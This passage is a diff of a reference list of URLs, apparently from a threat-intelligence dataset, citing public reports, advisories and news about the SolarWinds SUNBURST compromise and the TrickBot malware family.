"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-a-device-to-cloud-architecture-defends-against-the-solarwinds-supply-chain-compromise/", - "https://www.ironnet.com/blog/a-closer-look-at-the-solarwinds/sunburst-malware-dga-or-dns-tunneling", - "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", - "https://www.youtube.com/watch?v=-Vsgmw2G4Wo", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-deeper-look-into.html", - "https://www.youtube.com/watch?v=JoMwrkijTZ8", - "https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar", - "https://www.securonix.com/web/wp-content/uploads/2020/12/threat_research_solarwinds_sunburst_eclipser_supply_chain.pdf", - "https://zengo.com/ungilded-secrets-a-new-paradigm-for-key-security/", - "https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure", - "https://blog.cloudflare.com/solarwinds-orion-compromise-trend-data/", - "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", - "https://www.ironnet.com/blog/solarwinds/sunburst-behavioral-analytics-and-collective-defense-in-action", - "https://securelist.com/sunburst-backdoor-kazuar/99981/", - "https://pastebin.com/6EDgCKxd", - "https://www.youtube.com/watch?v=mbGN1xqy1jY", - "https://www.gov.pl/web/diplomacy/statement-on-solar-winds-orion-cyberattacks", - "https://community.riskiq.com/article/9a515637", - "https://www.solarwinds.com/securityadvisory/faq", - "https://blog.apiiro.com/detect-and-prevent-the-solarwinds-build-time-code-injection-attack", - "https://blog.prevasio.com/2020/12/sunburst-backdoor-part-iii-dga-security.html", - "https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack", - "https://twitter.com/FireEye/status/1339295983583244302", - "https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json", - "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/Solorigate.B!dha", - "https://www.domaintools.com/resources/blog/change-in-perspective-on-the-utility-of-sunburst-related-network-indicators#", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a", - "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", - "https://thenewstack.io/behind-the-scenes-of-the-sunburst-attack/", - "https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/", - "https://youtu.be/Ta_vatZ24Cs?t=59", - "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.cadosecurity.com/post/responding-to-solarigate", - "https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach", - "https://www.microsoft.com/security/blog/2021/01/14/increasing-resilience-against-solorigate-and-other-sophisticated-attacks-with-microsoft-defender/", - "https://twitter.com/KimZetter/status/1338305089597964290", - "https://news.sophos.com/en-us/2020/12/14/solarwinds-playbook/", - "https://twitter.com/ItsReallyNick/status/1338382939835478016", - "https://corelight.blog/2020/12/15/finding-sunburst-backdoor-with-zeek-logs-and-corelight/", - "https://blog.reversinglabs.com/blog/sunburst-the-next-level-of-stealth", - "https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q", - "https://www.fireeye.com/blog/products-and-services/2021/02/light-in-the-dark-hunting-for-sunburst.html", - "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/azure-ad-workbook-to-help-you-assess-solorigate-risk/ba-p/2010718", - "https://www.sec.gov/ix?doc=/Archives/edgar/data/1739942/000173994221000076/swi-20210507.htm", - "https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", - "https://www.youtube.com/watch?v=LA-XE5Jy2kU", - "https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack", - "https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/", - "https://netresec.com/?b=2113a6a", - "https://www.zscaler.com/blogs/security-research/hitchhikers-guide-solarwinds-incident-response", - "https://www.fireeye.com/current-threats/sunburst-malware.html", - "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", - "https://github.com/fireeye/sunburst_countermeasures", - "https://twitter.com/Intel471Inc/status/1339233255741120513", - "https://www.cyborgsecurity.com/blog/sunburst-solarwinds-supply-chain-attack/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-command-control", - "https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html", - "https://blog.truesec.com/2020/12/17/the-solarwinds-orion-sunburst-supply-chain-attack/", - "https://techcommunity.microsoft.com/t5/azure-active-directory-identity/understanding-quot-solorigate-quot-s-identity-iocs-for-identity/ba-p/2007610", - "https://github.com/SentineLabs/SolarWinds_Countermeasures", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-134a", - "https://www.4hou.com/posts/KzZR", - "https://www.mimecast.com/blog/important-security-update/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-attacks-stealthy-attackers-attempted-evade-detection", - "https://www.splunk.com/en_us/blog/security/sunburst-backdoor-detections-in-splunk.html", - "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://twitter.com/lordx64/status/1338526166051934213", - "https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS", - 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"https://twitter.com/FireEye/status/1339295983583244302", + "https://www.comae.com/posts/sunburst-memory-analysis/", + "https://labs.sentinelone.com/solarwinds-sunburst-backdoor-inside-the-stealthy-apt-campaign/", + "https://fidelissecurity.com/threatgeek/data-protection/ongoing-analysis-solarwinds-impact/", + "https://mitre-attack.github.io/attack-navigator/#layerURL=https://raw.githubusercontent.com/center-for-threat-informed-defense/public-resources/master/solorigate/UNC2452.json", + "https://community.riskiq.com/article/9a515637", + "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://github.com/fireeye/sunburst_countermeasures", + "https://www.bleepingcomputer.com/news/security/nasa-and-the-faa-were-also-breached-by-the-solarwinds-hackers/", + "https://www.solarwinds.com/securityadvisory", + "https://www.nato.int/cps/en/natolive/official_texts_183168.htm?selectedLocale=en", + "https://www.consilium.europa.eu/en/press/press-releases/2021/04/15/declaration-by-the-high-representative-on-behalf-of-the-european-union-expressing-solidarity-with-the-united-states-on-the-impact-of-the-solarwinds-cyber-operation", + "https://community.ibm.com/community/user/security/blogs/gladys-koskas1/2020/12/18/sunburst-indicator-detection-in-qradar", + "https://go.recordedfuture.com/hubfs/reports/pov-2020-1230.pdf", + "https://netresec.com/?b=212a6ad", + "https://www.microsoft.com/en-us/security/business/threat-protection/solorigate-detection-guidance", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039a", + "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://www.brighttalk.com/webcast/7451/469525", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", + "https://netresec.com/?b=2113a6a", + "https://us-cert.cisa.gov/sites/default/files/publications/SolarWinds_and_AD-M365_Compromise-Detecting_APT_Activity_from_Known_TTPs.pdf", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data", + "https://www.domaintools.com/resources/blog/unraveling-network-infrastructure-linked-to-the-solarwinds-hack", + "https://us-cert.cisa.gov/remediating-apt-compromised-networks", + "https://www.splunk.com/en_us/blog/security/a-golden-saml-journey-solarwinds-continued.html", + "https://us-cert.cisa.gov/ncas/alerts/aa21-077a", + "https://vrieshd.medium.com/finding-sunburst-victims-and-targets-by-using-passivedns-osint-68f5704a3cdc", + "https://www.cisa.gov/supply-chain-compromise", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://us-cert.cisa.gov/ncas/alerts/aa20-352a", + "https://twitter.com/KimZetter/status/1338305089597964290", + "https://netresec.com/?b=211cd21", + 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"https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", - "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", - "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module", - "https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf", - "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", - "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", - "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", - "https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", - "https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/", - "https://osint.fans/service-nsw-russia-association", - "https://www.ic3.gov/Media/News/2022/220120.pdf", - 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"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", - "https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot", - "https://www.joesecurity.org/blog/498839998833561473", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", - "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", - "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", - "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", - "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", - "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", - "https://www.secureworks.com/research/threat-profiles/gold-blackburn", - "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", - "https://twitter.com/VK_Intel/status/1328578336021483522", + "https://blog.talosintelligence.com/2020/03/trickbot-primer.html", + "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms", "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", - "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis", - "https://duo.com/decipher/trickbot-up-to-its-old-tricks", - "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", - "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", - "https://securelist.com/financial-cyberthreats-in-2020/101638/", - "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", + "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", "https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/", - "https://www.youtube.com/watch?v=EdchPEHnohw", - "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/", - "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", + "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", + "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", + "https://community.riskiq.com/article/111d6005/description", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", + "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", + "https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/", + "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", + "https://www.intrinsec.com/deobfuscating-hunting-ostap/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://us-cert.cisa.gov/ncas/alerts/aa21-076a", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://www.secdata.com/the-trickbot-and-mikrotik/", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/", + "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", + "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", + "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", + "https://osint.fans/service-nsw-russia-association", + "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", + "https://blog.cyberint.com/ryuk-crypto-ransomware", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://community.riskiq.com/article/04ec92f4", + "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", + "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", + "https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://www.mandiant.com/media/12596/download", + "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", + "https://redcanary.com/resources/webinars/deep-dive-process-injection/", + "https://share.vx-underground.org/Conti/", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", + "https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass", + "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", + "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", + "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", + "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", + "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", + "https://www.wired.com/story/trickbot-malware-group-internal-messages/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", + "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", + "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", + "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", + "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412", + "https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", + "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", + "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", + "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", + "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", + "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", + "https://www.joesecurity.org/blog/498839998833561473", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", + "https://cofenselabs.com/all-you-need-is-text-second-wave/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://twitter.com/VK_Intel/status/1328578336021483522", + "https://twitter.com/anthomsec/status/1321865315513520128", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://www.youtube.com/watch?v=EdchPEHnohw", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://www.bankinfosecurity.com/cybercrime-moves-conti-ransomware-absorbs-trickbot-malware-a-18573", + "https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", + "https://www.govcert.ch/blog/37/trickbot-an-analysis-of-data-collected-from-the-botnet", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "https://duo.com/decipher/trickbot-up-to-its-old-tricks", + "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html", + "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html", + "https://research.checkpoint.com/2022/a-modern-ninja-evasive-trickbot-attacks-customers-of-60-high-profile-companies/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/", + "https://labs.vipre.com/trickbots-tricks/", + "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/" + "https://www.youtube.com/watch?v=KMcSAlS9zGE", + "https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", + "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", + "https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf", + "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", + "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", + "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://www.youtube.com/watch?v=Brx4cygfmg8", + "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + 